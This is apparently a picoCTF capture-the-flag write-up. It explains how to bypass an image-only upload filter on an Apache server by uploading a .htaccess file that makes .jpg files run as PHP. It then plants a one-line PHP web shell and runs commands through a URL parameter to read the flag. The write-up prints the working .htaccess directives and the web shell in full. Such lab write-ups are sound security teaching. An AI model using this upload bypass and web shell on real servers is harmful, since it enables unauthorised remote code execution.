“byp4ss3d” | picoCTF | Obtain RCE by abusing .htaccess in Apache servers | Web Exploitation

Before We Go

What is .htaccess files

Payloads We Will Use

1. The content of the .htaccess

AddType application/x-httpd-php .jpg

2. Our php payload

<?php system($_GET['cmd']); ?>

Attack Scenario

1. First we will try to upload a normal image to see web response

2. After this we will try to upload a .htaccess file to make the server accept our php payload

3. Upload our payload

Lab Solution

We will Upload a normal image first

Lab Solution

We will Upload a normal image first

From the Burp, the response is from Apache server, so we will use .htaccess

Prepare our payloads

Since the server doesn’t accept extensions rather than jpg, png, gif

So, we will create a .htaccess file

AddHandler application/x-httpd-php .jpg

We will name it .htaccess , then upload it

After upload it and try to open it, this error appeared to us >> This means that out payload executed successfully

Now, we will upload our php payload

<?php system($_GET['cmd']); ?>

We will name it shell .jpg ( Be concern that the extension is jpg not php )

Now, we will add our URL parameter which is cmd

The URL will be

http://amiable-citadel.picoctf.net:57472/images/shell.jpg?cmd=ls -lha

Now, we will search about the flag.

Finally we will find it in /var/www/ , so we will cat it with >> cat /var/www/flag.txt

I hope you like the solution :)

• > Linkedin

hack

eat

sleep

again :)